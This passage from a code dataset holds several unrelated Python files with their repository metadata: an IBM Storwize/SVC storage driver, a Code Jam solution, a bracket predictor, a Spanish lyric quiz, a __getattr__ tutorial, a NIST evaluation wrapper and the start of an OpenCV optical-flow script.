volume_type_id to volume=%s') % volume)\n self.db.volume_update(self._context, volume['id'],\n {'volume_type_id': volume_type_id})\n opts = self._get_vdisk_params(volume_type_id)\n src_vdisk_id = self._get_vdisk_id_from_vdisk_name(snapshot['name'])\n\n # If the snapshot vdisk doesn't exist for some reason, log error and\n # raise an exception\n if src_vdisk_id is None:\n exception_msg = (\n _('create_volume_from_snapshot: '\n ' Source vdisk %s does not exist')\n % snapshot['name'])\n LOG.error(exception_msg)\n raise exception.VolumeNotFound(exception_msg,\n volume_id=snapshot['id'])\n\n # Generate a preference-ordered list of names for the new volume\n candidate_names = self._generate_candidate_names(volume)\n\n vdisk_id, name = self._create_copy(src_vdisk_id=src_vdisk_id,\n tgt_vdisk_names=candidate_names,\n full_copy=True,\n opts=opts,\n src_id=snapshot['id'],\n from_vol=False)\n\n # Place the vdisk ID, name and UID into restricted metadata so that it\n # can be viewed by users and retrieved by this driver when it\n # subsequently performs operations on this volume.\n vdisk = self._get_vdisk_attributes(vdisk_id)\n self._update_restricted_metadata(volume['id'], vdisk)\n\n return None\n\n def create_cloned_volume(self, tgt_volume, src_volume):\n if src_volume['size'] != tgt_volume['size']:\n exception_message = (_('create_cloned_volume: '\n 'Source and destination size differ.'))\n LOG.error(exception_message)\n raise exception.VolumeBackendAPIException(data=exception_message)\n\n volume_type_id = tgt_volume.get('volume_type_id')\n if not volume_type_id:\n volume_type = volume_types.get_default_volume_type()\n if volume_type:\n volume_type_id = volume_type['id']\n tgt_volume['volume_type_id'] = volume_type_id\n #Update db to preserve volume_type\n LOG.info(_('adding volume_type_id to volume=%s') % tgt_volume)\n self.db.volume_update(self._context, tgt_volume['id'],\n {'volume_type_id': volume_type_id})\n opts = self._get_vdisk_params(volume_type_id)\n\n src_vdisk_id = self._incorporate_restricted_metadata(src_volume)\n\n # Ensure that the UID matches and we don't clone the wrong disk,\n # raise exception if the UID doesn't match.\n self._verify_uid_by_vdisk_id(src_vdisk_id, src_volume)\n\n candidate_names = self._generate_candidate_names(tgt_volume)\n\n vdisk_id, name = self._create_copy(src_vdisk_id=src_vdisk_id,\n tgt_vdisk_names=candidate_names,\n full_copy=True,\n opts=opts,\n src_id=src_volume['id'],\n from_vol=True)\n\n # Place the vdisk ID, name and UID into restricted metadata so that it\n # can be viewed by users and retrieved by this driver when it\n # subsequently performs operations on this volume.\n vdisk = self._get_vdisk_attributes(vdisk_id)\n self._update_restricted_metadata(tgt_volume['id'], vdisk)\n\n return None\n\n def extend_volume(self, volume, new_size):\n LOG.debug('enter: extend_volume: volume %s' % volume['id'])\n vdisk_id = self._incorporate_restricted_metadata(volume)\n\n # Ensure that the UID matches and we don't extend the wrong disk,\n # raise exception if the UID doesn't match.\n self._verify_uid_by_vdisk_id(vdisk_id, volume)\n\n ret = self._ensure_vdisk_no_fc_mappings(vdisk_id,\n allow_snaps=False)\n if not ret:\n exception_message = (_('extend_volume: Extending a volume with '\n 'snapshots is not supported.'))\n LOG.error(exception_message)\n raise exception.VolumeBackendAPIException(data=exception_message)\n\n extend_amt = int(new_size) - volume['size']\n ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n '-unit', 'gb', vdisk_id])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n ssh_cmd, out, err)\n LOG.debug('leave: extend_volume: volume %s' % volume['id'])\n\n def migrate_volume(self, ctxt, volume, host):\n \"\"\"Migrate direclty if source and dest are managed by same storage.\n\n The method uses the migratevdisk method, which returns almost\n immediately, if the source and target pools have the same extent_size.\n Otherwise, it uses addvdiskcopy and rmvdiskcopy, which require waiting\n for the copy operation to complete.\n\n :param ctxt: Context\n :param volume: A dictionary describing the volume to migrate\n :param host: A dictionary describing the host to migrate to, where\n host['host'] is its name, and host['capabilities'] is a\n dictionary of its reported capabilities.\n \"\"\"\n LOG.debug('enter: migrate_volume: id=%(id)s, host=%(host)s' %\n {'id': volume['id'], 'host': host['host']})\n\n # Needs update to support vdisk IDs.\n raise NotImplementedError()\n\n false_ret = (False, None)\n if 'location_info' not in host['capabilities']:\n return false_ret\n info = host['capabilities']['location_info']\n try:\n (dest_type, dest_id, dest_pool) = info.split(':')\n except ValueError:\n return false_ret\n if (dest_type != 'StorwizeSVCDriver' or dest_id != self._system_id):\n return false_ret\n\n if 'extent_size' not in host['capabilities']:\n return false_ret\n if host['capabilities']['extent_size'] == self._extent_size:\n # If source and dest pools have the same extent size, migratevdisk\n ssh_cmd = ['svctask', 'migratevdisk', '-mdiskgrp', dest_pool,\n '-vdisk', volume['name']]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from migratevdisk\n self._assert_ssh_return(len(out.strip()) == 0, 'migrate_volume',\n ssh_cmd, out, err)\n else:\n # If source and dest pool extent size differ, add/delete vdisk copy\n copy_info = self._get_vdisk_copy_info(volume['name'])\n copies = list(copy_info.keys())\n self._driver_assert(len(copies) == 1,\n _('migrate_volume started with more than one '\n 'vdisk copy'))\n orig_copy_id = copies[0]\n\n opts = self._get_vdisk_params(volume['volume_type_id'])\n params = self._get_vdisk_create_params(opts)\n ssh_cmd = (['svctask', 'addvdiskcopy'] + params + ['-mdiskgrp',\n dest_pool, volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'migrate_volume',\n ssh_cmd, out, err)\n\n # Ensure that the output is as expected\n match_obj = re.search('Vdisk \\[([0-9]+)\\] copy \\[([0-9]+)\\] '\n 'successfully created', out)\n # Make sure we got a \"successfully created\" message with copy id\n self._driver_assert(\n match_obj is not None,\n _('migrate_volume %(name)s - did not find '\n 'success message in CLI output.\\n '\n 'stdout: %(out)s\\n stderr: %(err)s')\n % {'name': volume['name'], 'out': str(out), 'err': str(err)})\n\n copy_id = match_obj.group(2)\n sync = False\n while not sync:\n ssh_cmd = ['svcinfo', 'lsvdiskcopy', '-delim', '!', '-copy',\n copy_id, volume['name']]\n attrs = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attrs:\n msg = (_('migrate_volume: Could not get vdisk copy data'))\n LOG.error(msg)\n raise exception.VolumeBackendAPIException(data=msg)\n if attrs['sync'] == 'yes':\n sync = True\n else:\n time.sleep(5)\n\n ssh_cmd = ['svctask', 'rmvdiskcopy', '-copy', orig_copy_id,\n volume['name']]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdiskcopy\n self._assert_ssh_return(len(out.strip()) == 0, 'migrate_volume',\n ssh_cmd, out, err)\n\n LOG.debug('leave: migrate_volume: id=%(id)s, host=%(host)s' %\n {'id': volume['id'], 'host': host['host']})\n return (True, None)\n\n \"\"\"=====================================================================\"\"\"\n \"\"\" MISC/HELPERS \"\"\"\n \"\"\"=====================================================================\"\"\"\n\n def get_volume_stats(self, refresh=False):\n \"\"\"Get volume stats.\n\n If we haven't gotten stats yet or 'refresh' is True,\n run update the stats first.\n \"\"\"\n if not self._stats or refresh:\n self._update_volume_stats()\n\n return self._stats\n\n def _update_volume_stats(self):\n \"\"\"Retrieve stats info from volume group.\"\"\"\n\n LOG.debug(\"Updating volume stats\")\n data = {}\n\n data['vendor_name'] = 'IBM'\n data['driver_version'] = self.VERSION\n data['storage_protocol'] = list(self._enabled_protocols)\n\n data['total_capacity_gb'] = 0 # To be overwritten\n data['free_capacity_gb'] = 0 # To be overwritten\n data['reserved_percentage'] = self.configuration.reserved_percentage\n data['QoS_support'] = False\n\n pool = self.configuration.storwize_svc_volpool_name\n backend_name = self.configuration.safe_get('volume_backend_name')\n if not backend_name:\n underscored_pool = string.replace(pool, \" \", \"_\")\n backend_name = '%s_%s' % (self._system_name, underscored_pool)\n data['volume_backend_name'] = backend_name\n\n ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!',\n '\"%s\"' % pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n exception_message = (_('_update_volume_stats: '\n 'Could not get storage pool data'))\n raise exception.VolumeBackendAPIException(data=exception_message)\n\n data['total_capacity_gb'] = (float(attributes['capacity']) /\n (1024 ** 3))\n data['free_capacity_gb'] = (float(attributes['free_capacity']) /\n (1024 ** 3))\n data['easytier_support'] = attributes['easy_tier'] in ['on', 'auto']\n data['compression_support'] = self._compression_enabled\n data['extent_size'] = self._extent_size\n data['location_info'] = ('StorwizeSVCDriver:%(sys_id)s:%(pool)s' %\n {'sys_id': self._system_id,\n 'pool': pool})\n\n data['default_volume_type'] = volume_types.get_default_volume_type()\n\n self._stats = data\n\n def _port_conf_generator(self, cmd):\n ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n\n if not len(out.strip()):\n return\n port_lines = out.strip().split('\\n')\n if not len(port_lines):\n return\n\n header = port_lines.pop(0)\n yield header\n for portip_line in port_lines:\n try:\n port_data = self._get_hdr_dic(header, portip_line, '!')\n except exception.VolumeBackendAPIException:\n with excutils.save_and_reraise_exception():\n self._log_cli_output_error('_port_conf_generator',\n ssh_cmd, out, err)\n yield port_data\n\n def _get_vdisk_copy_info(self, vdisk):\n ssh_cmd = ['svcinfo', 'lsvdiskcopy', '-delim', '!', vdisk]\n out, err = self._run_ssh(ssh_cmd)\n\n self._assert_ssh_return(len(out.strip()), '_get_vdisk_copy_info',\n ssh_cmd, out, err)\n copy_lines = out.strip().split('\\n')\n self._assert_ssh_return(len(copy_lines), '_get_vdisk_copy_info',\n ssh_cmd, out, err)\n\n header = copy_lines.pop(0)\n ret = {}\n for copy_line in copy_lines:\n try:\n copy_data = self._get_hdr_dic(header, copy_line, '!')\n except exception.VolumeBackendAPIException:\n with excutils.save_and_reraise_exception():\n self._log_cli_output_error('_get_vdisk_copy_info',\n ssh_cmd, out, err)\n ret[copy_data['copy_id']] = copy_data\n return ret\n\n def _get_vdisk_create_params(self, opts):\n easytier = 'on' if opts['easytier'] else 'off'\n\n # Set space-efficient options\n if opts['rsize'] == -1:\n params = []\n else:\n params = ['-rsize', '%s%%' % str(opts['rsize']),\n '-autoexpand', '-warning',\n '%s%%' % str(opts['warning'])]\n if not opts['autoexpand']:\n params.remove('-autoexpand')\n\n if opts['compression']:\n params.append('-compressed')\n else:\n params.extend(['-grainsize', str(opts['grainsize'])])\n\n params.extend(['-easytier', easytier])\n return params\n\n def _check_vdisk_opts(self, opts):\n # Check that rsize is either -1 or between 0 and 100\n if not (opts['rsize'] >= -1 and opts['rsize'] <= 100):\n raise exception.InvalidInput(\n reason=_('Illegal value specified for storwize_svc_vol_rsize: '\n 'set to either a percentage (0-100) or -1'))\n\n # Check that warning is either -1 or between 0 and 100\n if not (opts['warning'] >= -1 and opts['warning'] <= 100):\n raise exception.InvalidInput(\n reason=_('Illegal value specified for '\n 'storwize_svc_vol_warning: '\n 'set to a percentage (0-100)'))\n\n # Check that grainsize is 32/64/128/256\n if opts['grainsize'] not in [32, 64, 128, 256]:\n raise exception.InvalidInput(\n reason=_('Illegal value specified for '\n 'storwize_svc_vol_grainsize: set to either '\n '32, 64, 128, or 256'))\n\n # Check that compression is supported\n if opts['compression'] and not self._compression_enabled:\n raise exception.InvalidInput(\n reason=_('System does not support compression'))\n\n # Check that rsize is set if compression is set\n if opts['compression'] and opts['rsize'] == -1:\n raise exception.InvalidInput(\n reason=_('If compression is set to True, rsize must '\n 'also be set (not equal to -1)'))\n\n # Check that the requested protocol is enabled\n if opts['protocol'] not in self._enabled_protocols:\n raise exception.InvalidInput(\n reason=_('Illegal value %(prot)s specified for '\n 'storwize_svc_connection_protocol: '\n 'valid values are %(enabled)s')\n % {'prot': opts['protocol'],\n 'enabled': ','.join(self._enabled_protocols)})\n\n if opts['iogrp'] not in self._available_iogrps:\n raise exception.InvalidInput(\n reason=_('I/O group %(iogrp)d is not valid; available '\n 'I/O groups are %(avail)s')\n % {'iogrp': opts['iogrp'],\n 'avail': ''.join(str(e) for e in self._available_iogrps)})\n\n def _execute_command_and_parse_attributes(self, ssh_cmd):\n \"\"\"Execute command on the Storwize/SVC and parse attributes.\n\n Exception is raised if the information from the system\n can not be obtained.\n\n 'None' is returned if the object cannot be found.\n \"\"\"\n\n LOG.debug('enter: _execute_command_and_parse_attributes: '\n ' command %s' % str(ssh_cmd))\n\n try:\n out, err = self._run_ssh(ssh_cmd)\n except processutils.ProcessExecutionError as e:\n if 'CMMVC5753E' in e.stderr:\n # CMMVC5753E: The specified object does not exist or is not a\n # suitable candidate.\n return None\n else:\n # something bad happened\n LOG.error(_('CLI Exception output:\\n command: %(cmd)s\\n '\n 'stdout: %(out)s\\n stderr: %(err)s') %\n {'cmd': ssh_cmd,\n 'out': e.stdout,\n 'err': e.stderr})\n raise\n\n self._assert_ssh_return(len(out),\n '_execute_command_and_parse_attributes',\n ssh_cmd, out, err)\n attributes = {}\n for attrib_line in out.split('\\n'):\n # If '!' not found, return the string and two empty strings\n attrib_name, foo, attrib_value = attrib_line.partition('!')\n if attrib_name is not None and len(attrib_name.strip()):\n attributes[attrib_name] = attrib_value\n\n LOG.debug('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s'\n % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n\n return attributes\n\n def _get_hdr_dic(self, header, row, delim):\n \"\"\"Return CLI row data as a dictionary indexed by names from header.\n string. The strings are converted to columns using the delimiter in\n delim.\n \"\"\"\n\n attributes = header.split(delim)\n values = row.split(delim)\n self._driver_assert(\n len(values) ==\n len(attributes),\n _('_get_hdr_dic: attribute headers and values do not match.\\n '\n 'Headers: %(header)s\\n Values: %(row)s')\n % {'header': str(header),\n 'row': str(row)})\n dic = dict((a, v) for a, v in map(None, attributes, values))\n return dic\n\n def _log_cli_output_error(self, function, cmd, out, err):\n LOG.error(_('%(fun)s: Failed with unexpected CLI output.\\n '\n 'Command: %(cmd)s\\nstdout: %(out)s\\nstderr: %(err)s\\n')\n % {'fun': function, 'cmd': cmd,\n 'out': str(out), 'err': str(err)})\n\n def _driver_assert(self, assert_condition, exception_message):\n \"\"\"Internal assertion mechanism for CLI output.\"\"\"\n if not assert_condition:\n LOG.error(exception_message)\n raise exception.VolumeBackendAPIException(data=exception_message)\n\n def _assert_ssh_return(self, test, fun, ssh_cmd, out, err):\n self._driver_assert(\n test,\n _('%(fun)s: Failed with unexpected CLI output.\\n '\n 'Command: %(cmd)s\\n stdout: %(out)s\\n stderr: %(err)s')\n % {'fun': fun,\n 'cmd': ssh_cmd,\n 'out': str(out),\n 'err': str(err)})\n\n def _handle_keyerror(self, function, header):\n msg = (_('Did not find expected column in %(fun)s: %(hdr)s') %\n {'fun': function, 'hdr': header})\n LOG.error(msg)\n raise exception.VolumeBackendAPIException(\n data=msg)\n\n def _verify_uid_by_vdisk_id(self, vdisk_id, volume):\n \"\"\"\n Wrapper for _verify_uid when vdisk attributes are not readily\n available - obtains the attributes and passes through.\n \"\"\"\n attributes = self._get_vdisk_attributes(vdisk_id)\n\n # Raise an error if the vdisk doesn't exist\n if not attributes:\n raise paxes_exception.SVCVdiskNotFoundException(\n self.endpoint_desc, volume['id'], vdisk_id=vdisk_id)\n\n return self._verify_uid(attributes, volume)\n\n def _verify_uid(self, vdisk_attributes, volume):\n \"\"\"\n Raises an exception if the UID in the passed-in vdisk_attributes is\n not the same at the UID that we have embedded in the restricted\n metadata of the volume.\n \"\"\"\n expected_uid = \\\n volume['restricted_metadata'][RESTRICTED_METADATA_VDISK_UID_KEY]\n\n current_uid = vdisk_attributes['vdisk_UID']\n\n if current_uid != expected_uid:\n raise paxes_exception.\\\n SVCVdiskMismatchException(self.endpoint_desc,\n volume['id'],\n vdisk_id=vdisk_attributes['id'],\n expected_uid=expected_uid,\n current_uid=current_uid)\n\n\nclass CLIResponse(object):\n '''Parse SVC CLI output and generate iterable'''\n\n def __init__(self, raw, delim='!', with_header=True):\n super(CLIResponse, self).__init__()\n self.raw = raw\n self.delim = delim\n self.with_header = with_header\n self.result = self._parse()\n\n def select(self, *keys):\n for a in self.result:\n vs = []\n for k in keys:\n v = a.get(k, None)\n if isinstance(v, basestring):\n v = [v]\n if isinstance(v, list):\n vs.append(v)\n for item in zip(*vs):\n yield item\n\n def __getitem__(self, key):\n return self.result[key]\n\n def __iter__(self):\n for a in self.result:\n yield a\n\n def __len__(self):\n return len(self.result)\n\n def _parse(self):\n def get_reader(content, delim):\n for line in content.lstrip().splitlines():\n line = line.strip()\n if line:\n yield line.split(delim)\n else:\n yield []\n\n if isinstance(self.raw, basestring):\n stdout, stderr = self.raw, ''\n else:\n stdout, stderr = self.raw\n reader = get_reader(stdout, self.delim)\n result = []\n\n if self.with_header:\n hds = tuple()\n for row in reader:\n hds = row\n break\n for row in reader:\n cur = dict()\n for k, v in zip(hds, row):\n CLIResponse.append_dict(cur, k, v)\n result.append(cur)\n else:\n cur = dict()\n for row in reader:\n if row:\n CLIResponse.append_dict(cur, row[0], ' '.join(row[1:]))\n elif cur: # start new section\n result.append(cur)\n cur = dict()\n if cur:\n result.append(cur)\n return result\n\n @staticmethod\n def append_dict(dict_, key, value):\n key, value = key.strip(), value.strip()\n obj = dict_.get(key, None)\n if obj is None:\n dict_[key] = value\n elif isinstance(obj, list):\n obj.append(value)\n dict_[key] = obj\n else:\n dict_[key] = [obj, value]\n return dict_\n","repo_name":"windskyer/k_cinder","sub_path":"paxes_cinder/volume/drivers/svc/storwize_svc_driver_id.py","file_name":"storwize_svc_driver_id.py","file_ext":"py","file_size_in_byte":116954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23578742041","text":"\nimport time\n\ng_question = \"A\"\n# g_step = \"sample\"\n# g_step = \"small-attempt0\"\ng_step = \"large\"\n\ng_file_in = g_question + \"-\" + g_step + \".in\"\ng_file_out = g_question + \"-\" + g_step + \".out\" + \".\" + str(time.time())\n\ng_problem_start = 0\ng_problem_end = -1\n\ng_validate = True\n\n\ndef error(message):\n import inspect, logging\n # Get the previous frame in the stack, otherwise it would be this function!!!\n func = inspect.currentframe().f_back.f_code\n # Dump the message + the name of this function to the log.\n logging.error(\"%s: %s in %s:%i\" % (\n message,\n func.co_name,\n func.co_filename,\n func.co_firstlineno\n ))\n\n\ndef validate(problem, result):\n if not g_validate:\n return\n\n## CODE\n\n\n## CODE\n\nclass Problem:\n def __init__(self, N, D, horses):\n self.N = N\n self.D = D\n self.horses = horses\n\nclass Horse:\n def __init__(self, K, S):\n self.K = K\n self.S = S\n\n\n def calculateTime(self, D):\n self.T = (D - self.K)/self.S\n\n\nfrom operator import attrgetter\n\n\ndef cruise_control(problem):\n horses = problem.horses\n for h in horses:\n h.calculateTime(problem.D)\n max_T_horse = max(horses, key=attrgetter('T'))\n\n return problem.D/(max_T_horse.T)\n\n\ndef solve(problem):\n\n## CODE\n output = cruise_control(problem)\n\n validate(problem, output)\n\n return output\n\nf_out = open(g_file_out, 'w')\n\n\ndef run():\n with open(g_file_in) as f_in:\n\n## CODE\n num_problems = int(f_in.readline())\n i_problem = 1\n\n while True:\n line_i = f_in.readline()\n d_str, n_str = line_i.split(' ')\n N = int(n_str)\n D = float(d_str)\n horses = []\n\n for j_line in range(N):\n line_j = f_in.readline()\n line_j.split(' ')\n K, S = map(float, line_j.split(' '))\n horses.append(Horse(K, S))\n\n result = solve(Problem(N, D, horses))\n\n f_out.write(\"Case #{}: {}\".format(i_problem, result))\n f_out.write('\\n')\n\n i_problem += 1\n\n\n\n\nrun()\n\nf_out.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/1319.py","file_name":"1319.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8637747546","text":"#main file that calls classes to compute predicted bracket\n\nfrom seasondata import *\nimport pandas as pd\nfrom matchup import *\nfrom sportsreference.ncaab.schedule import Schedule\nfrom sportsreference.ncaab.teams import Teams\nfrom itertools import product \n\n\ndef init_seasondata():\n coach_file = \"raw_coaches_2018_2019.csv\"\n basic_file = \"raw_basicschool_2018_2019.csv\"\n adv_file = \"raw_advschool_2018_2019.csv\"\n\n sd = SeasonData(2019, coach_file, basic_file, adv_file)\n print(\"tester.py: SeasonData initialization successful.\")\n return sd\n\n\n\ndef run():\n\tsd = init_seasondata()\n\n\t#gets top 64 team names in order and retrieves data from season data\n\tteamList = []\n\t# file = open(\"64.txt\", 'r')\n\t# for team in file:\n\t# \tteamName = sd.get_team(team.strip())\n\t# \tteamList.append(teamName)\n\n\tteamList.append(sd.get_team(\"Virginia\"))\n\tteamList.append(sd.get_team(\"Gonzaga\"))\n\t#evaluates teams\n\tpredictedBracket = Bracket(teamList)\n\n\tprint(\"evaluating bracket\")\n\tpredictedBracket.evaluateBracket()\n\n\tprint(\"getting bracket\")\n\tpredictedList = predictedBracket.getBracket()\n\tprint(predictedList)\n\n\t# f = open(\"bracket.txt\", \"a\")\n\t# for i in predictedList:\n\t# \tf.write(i + \"\\n\")\n\n\t# f.close()\n\n\n\ndef main():\n\trun()\n\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"rohatd/RedTeamMarchMadness","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"22366975058","text":"# Completa la cancion\r\n\r\nincompleta = '\\nCompleta la canción\\n\\nHoy voy a hablarte de mis ____1____\\n' \\\r\n 'Que me vieron _____2____\\n' \\\r\n 'Desde el ___3___ que se hizo rey\\n' \\\r\n 'Hasta la princesa que rompió la ______4_____\\n' \\\r\n 'Si me _____5______ a mí, de ellos _____6_____\\n'\r\n\r\nprint(incompleta)\r\nrespuesta = input('¿Te animas a intentarlo? > ').upper()\r\n\r\nif respuesta == 'SI':\r\n palabra1 = input('Palabra 1:')\r\n palabra2 = input('Palabra 2:')\r\n palabra3 = input('Palabra 3:')\r\n palabra4 = input('Palabra 4:')\r\n palabra5 = input('Palabra 5:')\r\n palabra6 = input('Palabra 6:')\r\n\r\n completada = '\\n¿Esto te parece correcto?\\n\\n' \\\r\n f'Hoy voy a hablarte de mis {palabra1}\\n'\\\r\n f'Que me vieron {palabra2}\\n'\\\r\n f'Desde el {palabra3} que se hizo rey\\n'\\\r\n f'Hasta la princesa que rompió la {palabra4}\\n'\\\r\n f'Si me {palabra5} a mí, de ellos {palabra6}\\n'\r\n\r\n print(completada)\r\n respuesta2 = input('>').upper()\r\n\r\n if respuesta2 == 'SI':\r\n print('Pues te felicito por intentarlo!')\r\n elif respuesta2 == 'NO':\r\n print('Vamos de nuevo! Presiona el botón verde!')\r\n else:\r\n print('No entendì')\r\nelif respuesta == 'NO':\r\n print('Ahhhh :(')\r\nelse:\r\n print('No entendì')\r\n","repo_name":"RobVMdeO/Begin","sub_path":"completar.py","file_name":"completar.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9578338331","text":"# 正常情况下,当我们调用类的方法或属性时,如果不存在,就会报错\r\n# 要避免这个错误,除了可以加上一个score属性外,Python还有另一个机制,那就是写一个__getattr__()方法,动态返回一个属性\r\nclass Student(object):\r\n def __init__(self):\r\n self.name = 'Michael'\r\n\r\n def __getattr__(self, attr):\r\n if attr == 'score': # return attribute\r\n return 99\r\n if attr == 'age':\r\n return lambda: 25 # return function is OK !\r\n raise AttributeError('\\'Student\\' object has no attribute \\'%s\\'' % attr)\r\n\r\n\r\n# 当调用不存在的属性时,比如score,Python解释器会试图调用__getattr__(self, 'score')来尝试获得属性,这样,我们就有机会返回score的值\r\ns = Student()\r\nprint(s.name)\r\nprint(s.score)\r\nprint(s.age())\r\n# AttributeError: 'Student' object has no attribute 'grade'\r\n# print(s.grade)\r\n\r\n# 注意,只有在没有找到属性的情况下,才调用__getattr__,已有的属性,比如name,不会在__getattr__中查找。\r\n\r\n# 此外,注意到任意调用如s.abc都会返回None,这是因为我们定义的__getattr__默认返回就是None\r\n","repo_name":"zx-feishang/LearningPython3-begin-","sub_path":"6 OOP/O13special_getattr.py","file_name":"O13special_getattr.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26877160868","text":"import numpy as np\nfrom collections import defaultdict\nimport os,sys,time,subprocess\nfrom tkinter import _flatten\npy_version = sys.version.split('.')[0]\nif py_version == '2':\n\topen = io.open\nelse:\n\tunicode = str\ndef makedirs(fld):\n\tif not os.path.exists(fld):\n\t\tos.makedirs(fld)\ndef _write_xml(paths_in, path_out, role, n_lines=None):\n\t# prepare .xml files for mteval-v14c.pl (calc_nist_bleu)\n\t# role = 'src', 'hyp' or 'ref'\n\n\tlines = [\n\t\t'',\n\t\t'',\n\t\t'',\n\t\t''%paths_in,\n\t\t'',\n\t\t'',\n\t\t]\n\n\tfor i_in, path_in in enumerate(paths_in):\n\n\t\t# header ----\n\n\t\tif role == 'src':\n\t\t\tlines.append('')\n\t\t\tset_ending = ''\n\t\telif role == 'hyp':\n\t\t\tlines.append('')\n\t\t\tset_ending = ''\n\t\telif role == 'ref':\n\t\t\tlines.append(''%i_in)\n\t\t\tset_ending = ''\n\t\t\n\t\tlines.append('')\n\n\t\t# body -----\n\n\t\tif role == 'src':\n\t\t\tbody = ['__src__'] * n_lines\n\t\telse:\n\t\t\tif path_in=='':\n\t\t\t\twith open(path_in, 'r', encoding='utf-8') as f:\n\t\t\t\t\tbody = f.readlines()\n\t\t\t\tif n_lines is not None:\n\t\t\t\t\tbody = body[:n_lines]\n\t\t\telse:\n\t\t\t\tbody=path_in\n\t\t\t\tif n_lines is not None:\n\t\t\t\t\tbody = body[:n_lines]\n\t\t#for i in range(len(body)):\n\t\ti = 0\n\t\tfor b in body:\n\t\t\tline = b.strip('\\n')\n\t\t\tline = line.replace('&',' ').replace('<',' ')\t\t# remove illegal xml char\n\t\t\t# if len(line) > 0:\n\t\t\tlines.append('

%s

'%(i + 1, line))\n\t\t\ti += 1\n\n\t\t# ending -----\n\n\t\tlines.append('
')\n\t\tif role == 'src':\n\t\t\tlines.append('')\n\t\telif role == 'hyp':\n\t\t\tlines.append('')\n\t\telif role == 'ref':\n\t\t\tlines.append('')\n\n\tlines.append('
')\n\twith open(path_out, 'w', encoding='utf-8') as f:\n\t\tf.write(unicode('\\n'.join(lines)))\n\nclass Nist:\n def __init__(self, n_lines=None):\n self.n_lines=None\n def compute_score(self, gts, res):\n assert(gts.keys() == res.keys())\n fld_out=\"./nist/temp\"\n makedirs(fld_out)\n\n if self.n_lines is None:\n self.n_lines = len(gts.keys())\t\n # import pdb; pdb.set_trace()\n _write_xml([''], fld_out + '/src.xml', 'src', n_lines=self.n_lines)\n _write_xml(list(_flatten(list(res.values()))), fld_out + '/hyp.xml', 'hyp')#, n_lines=n_lines)\n _write_xml(sum(list(gts.values()), []), fld_out + '/ref.xml', 'ref')#, n_lines=n_lines)\n\n time.sleep(1)\n cmd = [\n 'perl','./nist/3rdparty/mteval-v14c.pl',\n '-s', '%s/src.xml'%fld_out,\n '-t', '%s/hyp.xml'%fld_out,\n '-r', '%s/ref.xml'%fld_out,\n ]\n process = subprocess.Popen(cmd, stdout=subprocess.PIPE)\n # import pdb; pdb.set_trace()\n output, error = process.communicate()\n\n lines = output.decode().split('\\n')\n print(lines)\n try:\n nist_list = lines[-6].strip('\\r').split()[1:5]\n return [float(nist_list[1]),float(nist_list[3])], [float(x) for x in nist_list]\n\n except Exception:\n print('mteval-v14c.pl returns unexpected message')\n print('cmd = '+str(cmd))\n print(output.decode())\n print(error.decode())\n return [-1]*2, [-1]*4\n def method(self):\n return \"NIST\"","repo_name":"Lambert-hpx/NLG_eval","sub_path":"nist/nist.py","file_name":"nist.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"72141722115","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 4 22:43:34 2019\n\n@author: francisco\n\"\"\"\n\nimport cv2 as cv2\nimport numpy as np\ncap = cv2.VideoCapture(\"../../Semana_10/DJI_00096.MP4\")\n#cap = cv2.VideoCapture(2)\nret, frame1 = cap.read()\nprvs = cv2.cvtColor(frame1,cv2.COLOR_BGR2GRAY)\nhsv = np.zeros_like(frame1)\nhsv[...,1] = 255\nwhile(1):\n ret, frame2 = cap.read()\n next = cv2.cvtColor(frame2,cv2.COLOR_BGR2GRAY)\n \n flow = cv2.calcOpticalFlowFarneback(prvs,next, None, 0.5,3, 15, 3, 5, 1.2, 0)\n\n #Para visualizar\n mag, ang = cv2.cartToPolar(flow[...,0], flow[...,1])#promero y y luego x\n hsv[...,0] = ang*180/np.pi/2\n hsv[...,2] = cv2.normalize(mag,None,0,255,cv2.NORM_MINMAX)\n bgr = cv2.cvtColor(hsv,cv2.COLOR_HSV2BGR)\n\n cv2.imshow('frame2',bgr)\n cv2.imshow('Video',frame2)\n k = cv2.waitKey(1) & 0xff\n if k == 27:#Sale con escape\n break\n elif k == ord('s'):\n cv2.imwrite('opticalfb.png',frame2)\n cv2.imwrite('opticalhsv.png',bgr)\n prvs = 